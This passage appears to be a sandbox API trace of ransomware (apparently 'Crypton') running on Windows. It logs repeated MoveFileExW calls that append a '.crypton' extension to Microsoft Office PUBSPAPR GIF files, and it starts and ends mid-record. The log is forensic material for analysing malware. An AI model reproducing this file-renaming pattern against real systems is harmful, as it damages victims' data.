Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif.crypton"), dwFlags=0x2) returned 1 [0096.166] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif.crypton"), dwFlags=0x2) returned 1 [0096.180] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif.crypton"), dwFlags=0x2) returned 1 [0096.186] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif.crypton"), dwFlags=0x2) returned 1 [0096.206] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif.crypton"), dwFlags=0x2) returned 1 [0096.217] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif.crypton"), dwFlags=0x2) returned 1 [0096.231] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif.crypton"), dwFlags=0x2) returned 1 [0096.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif.crypton"), dwFlags=0x2) returned 1 [0096.250] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif.crypton"), dwFlags=0x2) returned 1 [0096.260] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif.crypton"), dwFlags=0x2) returned 1 [0096.270] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif.crypton"), dwFlags=0x2) returned 1 [0096.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif.crypton"), dwFlags=0x2) returned 1 [0096.295] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif.crypton"), dwFlags=0x2) returned 1 [0096.300] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif.crypton"), dwFlags=0x2) returned 1 [0096.313] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif.crypton"), dwFlags=0x2) returned 1 [0096.319] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif.crypton"), dwFlags=0x2) returned 1 [0096.333] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif.crypton"), dwFlags=0x2) returned 1 [0096.363] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif.crypton"), dwFlags=0x2) returned 1 [0096.372] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif.crypton"), dwFlags=0x2) returned 1 [0096.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif.crypton"), dwFlags=0x2) returned 1 [0096.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif.crypton"), dwFlags=0x2) returned 1 [0096.428] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif.crypton"), dwFlags=0x2) returned 1 [0096.433] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif.crypton"), dwFlags=0x2) returned 1 [0096.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif.crypton"), dwFlags=0x2) returned 1 [0096.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif.crypton"), dwFlags=0x2) returned 1 [0096.471] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif.crypton"), dwFlags=0x2) returned 1 [0096.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif.crypton"), dwFlags=0x2) returned 1 [0096.482] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif.crypton"), dwFlags=0x2) returned 1 [0096.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif.crypton"), dwFlags=0x2) returned 1 [0096.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif.crypton"), dwFlags=0x2) returned 1 [0096.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif.crypton"), dwFlags=0x2) returned 1 [0096.541] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif.crypton"), dwFlags=0x2) returned 1 [0096.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif.crypton"), dwFlags=0x2) returned 1 [0096.564] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif.crypton"), dwFlags=0x2) returned 1 [0096.586] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif.crypton"), dwFlags=0x2) returned 1 [0096.601] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif.crypton"), dwFlags=0x2) returned 1 [0096.605] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif.crypton"), dwFlags=0x2) returned 1 [0096.612] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif.crypton"), dwFlags=0x2) returned 1 [0096.620] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif.crypton"), dwFlags=0x2) returned 1 [0096.624] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif.crypton"), dwFlags=0x2) returned 1 [0096.636] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif.crypton"), dwFlags=0x2) returned 1 [0096.643] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif.crypton"), dwFlags=0x2) returned 1 [0096.653] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif.crypton"), dwFlags=0x2) returned 1 [0096.664] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif.crypton"), dwFlags=0x2) returned 1 [0096.673] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif.crypton"), dwFlags=0x2) returned 1 [0096.681] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif.crypton"), dwFlags=0x2) returned 1 [0096.688] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif.crypton"), dwFlags=0x2) returned 1 [0096.693] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif.crypton"), dwFlags=0x2) returned 1 [0096.699] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif.crypton"), dwFlags=0x2) returned 1 [0096.703] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif.crypton"), dwFlags=0x2) returned 1 [0096.709] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif.crypton"), dwFlags=0x2) returned 1 [0096.730] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif.crypton"), dwFlags=0x2) returned 1 [0096.741] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif.crypton"), dwFlags=0x2) returned 1 [0096.768] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif.crypton"), dwFlags=0x2) returned 1 [0096.782] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif.crypton"), dwFlags=0x2) returned 1 [0096.807] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif.crypton"), dwFlags=0x2) returned 1 [0096.819] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif.crypton"), dwFlags=0x2) returned 1 [0096.849] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif.crypton"), dwFlags=0x2) returned 1 [0096.880] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif.crypton"), dwFlags=0x2) returned 1 [0096.911] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif.crypton"), dwFlags=0x2) returned 1 [0096.944] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft 